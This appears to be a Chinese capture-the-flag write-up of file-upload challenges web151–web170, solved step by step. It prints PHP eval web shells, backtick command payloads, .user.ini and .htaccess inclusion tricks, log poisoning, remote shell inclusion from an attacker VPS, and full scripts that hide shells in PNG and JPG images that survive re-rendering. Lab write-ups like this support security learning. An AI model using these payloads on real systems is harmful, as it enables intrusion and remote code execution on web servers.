以前忘上传的水文

web151

直接上传一个马

<?php @eval($_POST['cmd']);

发现有检测

image-20241110224920980

前端过滤

image-20241110224855998

传个图片,抓个包

image-20241110225327748

改一下文件名和内容

image-20241110230118056

image-20241110230052796

web152

web151

web153

upload 目录存在一个index.php

image-20241112020515721

.user.ini配置文件在存在php后缀文件的目录生效

image-20241112015023791

image-20241112015059707

PHP: php.ini 核心指令说明 - Manual中,以下两个配置可以控制文件包含

image-20241112015520541

上传.user.ini文件,包含n0o0b.png

auto_append_file=n0o0b.png

image-20241112020851805

上传图片马

image-20241112020904214

此时,n0o0b.png中的内容被包含在index.php中

image-20241112020758238

web154

跟上题,报错

image-20241112021422622

发现对内容php字符串检测

绕过

<?=`$_GET[1]`;

image-20241112022304148

image-20241112022308046

web155

web154

web156

黑名单增加了[]

{}简单绕过,或者用之前学的extract

<?=`$_GET{1}`;

or

<?=extract($_GET);eval($cmd);

web157

web156

web158

web156

web159

括号和;全被ban了

只能上传命令执行

<?=`tac ../f*`?>

web160

反引号也被过滤了,只能日志注入

auto_append_file=/var/log/nginx/access.log

想直接包含,发现log也被过滤了

利用php语法拼接构造包含

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

再包含n0o0b.png

image-20241112214447736

image-20241112214412741

web161

不是检测文件后缀也不是

必须是如下文件头

GIF89a

不是很理解,上传png文件检测gif头

image-20241112222929446

web162

过滤了.,很多路径没法包含了

利用http协议去文件包含进行绕过,ip使用十进制int

需要在vps上写一个🐎供下载

image-20241112225819539

image-20241112230129152

image-20241112230205226

web163

有意思,上传以后包含不到马

bp并发一下发现果然一直在删,不过传多了index.php就无了,逆天,大抵是爆掉了

auto_append_file竟然支持http协议

GIF89a

auto_append_file=http://your-vps/cmd

看了一下upload.php,确实一直再删

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }
                
            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }
    		
    	}else{
    		$ret = array("code"=>2,"msg"=>"文件类型不合规");
    	}
    	
    }

}
function check($str){
    return !preg_match('/php|\{|\[|\;|log|\(| |\`|flag|\./i', $str);
}

function clearUpload(){
    system("mv ./upload/index.php ./index.php_");
    system("rm -rf ./upload/*");
    system("mv ./index.php_ ./upload/index.php");
}

sleep(2);
clearUpload();
echo json_encode($ret);

web164

检测文件名后缀了,只上传能png,且检测内容

不过发现有个download.php,可能存在文件包含

image-20241113011500632

传一个图片马,发现对png校验非常严格,能显示才行

不知道为什么经bp抓包以后就会不通过检测

使用脚本生成能正常显示的图片马

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'cmd.png'); #保存在本地的图片马
?>

生成图片打开发现确实存在🐎

image-20241113014003277

执行成功

image-20241113015025987

upload.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-27 17:14:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if(in_array($ext_suffix, array("png"))){
                $png = imagecreatefrompng($_FILES["file"]["tmp_name"]);
                if($png==FALSE){
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }else{
                    $dst = 'upload/'.md5($_FILES["file"]["name"]).".png";
                    imagepng($png,$dst);
                    $ret = array("code"=>0,"msg"=>md5($_FILES["file"]["name"]).".png");
                }
            }else{
                $ret = array("code"=>3,"msg"=>"只允许上传png格式图片");
            }
            
    		
    	}else{
    		$ret = array("code"=>2,"msg"=>"文件类型不合规");
    	}
    	
    }

}


echo json_encode($ret);echo json_encode($ret);

web165

上题是png马,这题是jpg马

上传一张jpg,down下来发现有二次渲染

image-20241113160641444

脚本

<?php
    /*
    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.
    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>
    In case of successful injection you will get a specially crafted image, which should be uploaded again.
    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
    Sergey Bobrov @Black2Fan.
    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
    */
		
    $miniPayload = "<?=eval(\$_POST[1]);?>"; //注意$转义
 
 
    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
 
    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }
 
    set_error_handler("custom_error_handler");
 
    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;
 
        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }
 
        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');
 
    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }
 
    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }
 
    class DataInputStream {
        private $binData;
        private $order;
        private $size;
 
        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }
 
        public function seek() {
            return ($this->size - strlen($this->binData));
        }
 
        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }
 
        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }
 
        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }
 
        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

在linux中执行

需安装php-gd,用渲染后的脚本

php jpg图片马.php download.jpg

image-20241113162654798

upload.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-27 17:14:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/jpeg'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if(in_array($ext_suffix, array("jpg"))){
                $jpg = imagecreatefromjpeg($_FILES["file"]["tmp_name"]);
                if($jpg==FALSE){
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }else{
                    $dst = 'upload/'.md5($_FILES["file"]["name"]).".jpg";
                    imagejpeg($jpg,$dst);
                    $ret = array("code"=>0,"msg"=>md5($_FILES["file"]["name"]).".jpg");
                }
            }else{
                $ret = array("code"=>3,"msg"=>"只允许上传jpg格式图片");
            }
            
    		
    	}else{
    		$ret = array("code"=>2,"msg"=>"文件类型不合规");
    	}
    	
    }

}


echo json_encode($ret);

download.php

?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-27 16:49:18
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-27 17:11:39
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$file= $_GET['image'];

$file = strrev($file);
$ext = strrev(substr($file, 0,4));
if($ext==='.jpg' && file_exists("./upload/".strrev($file))){
	header('Content-Type:image/jpeg');
	include("./upload/".strrev($file));
}else{
	echo "图片错误";
}

web166

只允许上传zip

image-20241113164148060

没什么过滤,zip内容直接写马

<?php @eval($_POST['cmd']); 

执行成功

image-20241113164110417

upload.php


<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-28 22:14:40
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
    	if($_FILES['file']['type'] == 'application/x-zip-compressed'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if(in_array($ext_suffix, array("zip"))){
                move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.md5($_FILES["file"]["tmp_name"]).'.zip');
                $ret = array("code"=>0,"msg"=>md5($_FILES["file"]["tmp_name"]).'.zip');
            }else{
                $ret = array("code"=>3,"msg"=>"只允许上传zip格式文件");
            }
            
    		
    	}else{
    		$ret = array("code"=>2,"msg"=>"文件类型不合规");
    	}
    	
    }

}


echo json_encode($ret);

download.php


<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-27 16:49:18
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-28 22:53:44
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);

$file= $_GET['file'];
if(!isset($file)){
	die('文件不存在');
}

if(preg_match('/log|flag|data|input|file|compress|phar|http|https|ftp/', $file)){
	die('文件不存在');
}

if(check($file)){
	die('文件不存在!');
}else{
	include($file);
	header('Content-Type:application/x-zip-compressed');
}


function check($str){
	$ret = FALSE;
	$arrayName = array('ftp','file','/','http','https','phar','tmp','php','data','compress');
	foreach ($arrayName as $key) {
		$ret = checkPro($key,$str);
	}
	return $ret;
}

function checkPro($key,$str){
	$len = strlen($key);
	$mt = substr($str, 0,$len);
	return $len==$mt;
}

web167

upload/目录为空,前面几种方法都失效了

随便访问一个目录,发现是apache服务

image-20241113165644871

可以上传.htaccess 文件,控制解析规则

设置匹配n0o0b解析

<FilesMatch "n0o0b">
SetHandler application/x-httpd-php
</FilesMatch>

image-20241113170327181

上传n0o0b马

image-20241113171115271

web168

前端验证,可以抓包改php后缀

内容过滤_

<?=`cat ../f*`?>

web169

前端验证zip,MIME验证png,抓包可以过

内容过滤了大部分符号

可以先上传一个空php,使得upload目录下存在php文件供解析,再上传.user.ini包含

auto_append_file=http://your-vps/cmd

web170

web169